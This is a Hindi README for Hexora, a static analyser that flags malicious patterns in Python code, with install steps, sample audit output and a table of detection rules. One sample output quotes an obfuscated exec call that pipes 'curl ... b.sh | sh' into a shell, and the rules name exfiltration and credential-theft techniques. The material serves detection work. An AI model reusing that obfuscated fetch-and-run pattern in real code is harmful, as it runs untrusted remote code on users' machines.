
दुर्भावनापूर्ण पायथन कोड का स्थैतिक विश्लेषण
Hexora एक स्थैतिक विश्लेषण उपकरण है जिसे Python कोड में दुर्भावनापूर्ण और हानिकारक पैटर्न का पता लगाने के लिए डिज़ाइन किया गया है। यह नियम-आधारित स्थैतिक विश्लेषण इंजन को एक मशीन-सीखे मॉडल के साथ जोड़ता है जो संपूर्ण स्रोत फ़ाइलों को स्कोर करता है ताकि उन्हें दुर्भावनापूर्ण या सुरक्षित के रूप में वर्गीकृत किया जा सके।
इसका उपयोग निम्नलिखित के लिए किया जा सकता है:
आउटपुट उदाहरणों के लिए, कृपया docs/examples.md फ़ाइल देखें।
Python 3.9+ आवश्यक है।
pip install hexora
uv का उपयोग करके:
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
जहां python3.11 वर्चुअल एनवायरनमेंट में Python का संस्करण है।
सुझाव:
--exclude का उपयोग करें--min-confidence का उपयोग करें।Confidence इंगित करता है कि कोड का एक निश्चित टुकड़ा कितना दुर्भावनापूर्ण है। कुछ लाइब्रेरी या कोड स्निपेट वैध उद्देश्यों के लिए उपयोग किए जाते हैं, और वैध उपयोग-मामलों को दुर्भावनापूर्ण से अलग करना कठिन है। यही कारण है कि कुछ मिलानों का आत्मविश्वास स्तर कम होता है।
कुछ नियमों के अलग-अलग आत्मविश्वास स्तर हो सकते हैं। जब तक आप बहुत आश्वस्त न हों, कोड द्वारा बहुत सारे नियमों को फ़िल्टर करने से बचें। उदाहरण के लिए, कोड और शेल निष्पादन में मध्यम, उच्च और बहुत उच्च आत्मविश्वास हो सकता है। यह इस बात पर निर्भर करता है कि कोड कैसे निष्पादित किया गया। यदि हम अस्पष्टता के प्रयास का पता लगाते हैं, तो हम आत्मविश्वास बढ़ाते हैं।
उदाहरण के लिए, इस कोड का उच्च आत्मविश्वास होगा:
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
नए नियम विकसित करते समय, आप मौजूदा दुर्भावनापूर्ण डेटासेट जैसे malicious-software-packages-dataset का उपयोग कर सकते हैं।
क्लोन करने के बाद, बेंचमार्किंग टूल को डेटासेट निर्देशिका पर इंगित करें:
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
नए नियम नियमित रूप से जोड़े जाते हैं।
अभी, निम्नलिखित नियम उपलब्ध हैं:
पार्सिंग के लिए, हम ruff लाइब्रेरी से AST पार्सर का उपयोग करते हैं।
| कोड | नाम | विवरण |
|---|
| HX1000 | AppEnumeration | संदिग्ध एप्लिकेशन गणना। |
| HX1010 | BrowserEnumeration | संदिग्ध ब्राउज़र गणना (ऐप्स, कुकीज़, इतिहास, आदि)। |
| HX1020 | PathEnumeration | संदिग्ध पथ गणना। |
| HX1030 | OSFingerprint | संदिग्ध OS फिंगरप्रिंटिंग। |
| HX2000 | ClipboardRead | क्लिपबोर्ड से पढ़ना। |
| HX2010 | EnvAccess | संवेदनशील पर्यावरण चर तक पहुंच। |
| HX2020 | ScreenshotCapture | डिस्प्ले से स्क्रीनशॉट कैप्चर करना। |
| HX3000 | CodeExec | संभावित कोड निष्पादन। |
| HX3010 | ShellExec | शेल कमांड का निष्पादन। |
| HX3040 | DLLInjection | संभावित DLL इंजेक्शन। |
| HX3050 | DangerousExec | शेल कमांड के अंदर संभावित रूप से खतरनाक कमांड का निष्पादन। |
| HX3060 | SuspiciousCall | संदिग्ध फ़ंक्शन कॉल। |
| HX4000 | ObfuscatedShellExec | संभावित रूप से अस्पष्ट शेल कमांड का निष्पादन। |
| HX4010 | ObfuscatedCodeExec | संभावित रूप से अस्पष्ट कोड का निष्पादन। |
| HX5000 | DunderImport | __import__ का संदिग्ध उपयोग। |
| HX5010 | SuspiciousImport | संदिग्ध आयात। |
| HX5020 | CtypesImport | संदिग्ध ctypes आयात। |
| HX5030 | PickleImport | संदिग्ध pickle आयात। |
| HX5040 | StructImport | संदिग्ध struct आयात। |
| HX5050 | SocketImport | संदिग्ध socket आयात। |
| HX5060 | MarshalImport | संदिग्ध marshal आयात। |
| HX6000 | Base64String | लंबा Base64-एन्कोडेड स्ट्रिंग पाया गया; संभावित कोड अस्पष्टता। |
| HX6010 | HexedLiterals | हेक्स-एन्कोडेड लिटरल की सूची पाई गई; संभावित पेलोड। |
| HX6020 | HexedString | लंबा हेक्स-एन्कोडेड स्ट्रिंग पाया गया; संभावित पेलोड। |
| HX6030 | IntLiterals | पूर्णांक लिटरल की बड़ी सूची पाई गई; संभावित कोड अस्पष्टता। |
| HX6040 | CVEInLiteral | लिटरल में CVE पहचानकर्ता शामिल है। |
| HX6050 | SuspiciousLiteral | संदिग्ध लिटरल पाया गया; संभावित डेटा गणना। |
| HX6060 | PathTraversal | संदिग्ध पथ ट्रैवर्सल। |
| HX6070 | BrowserExtension | संवेदनशील ब्राउज़र एक्सटेंशन की गणना। |
| HX6080 | WebHook | संदिग्ध वेबहुक पाया गया। संभावित डेटा बहिर्गमन। |
| HX6090 | TelegramToken | स्ट्रिंग लिटरल में Telegram बॉट टोकन पाया गया। |
| HX7000 | SuspiciousFunctionName | संदिग्ध फ़ंक्शन नाम। |
| HX7010 | SuspiciousParameterName | संदिग्ध पैरामीटर नाम। |
| HX7020 | SuspiciousVariable | संदिग्ध चर नाम। |
| HX9000 | DataExfiltration | संभावित डेटा बहिर्गमन। |
| HX8000 | BinaryDownload | संदिग्ध बाइनरी डाउनलोड। |
| HX8010 | BuiltinsVariable | संदिग्ध builtin चर उपयोग। |
| HX8020 | SuspiciousComment | संदिग्ध टिप्पणी। |
| HX8030 | SuspiciousWrite | फ़ाइल सिस्टम पर संदिग्ध लेखन। |
| HX8040 | InstallHook | संदिग्ध इंस्टॉल हुक सेटअप। |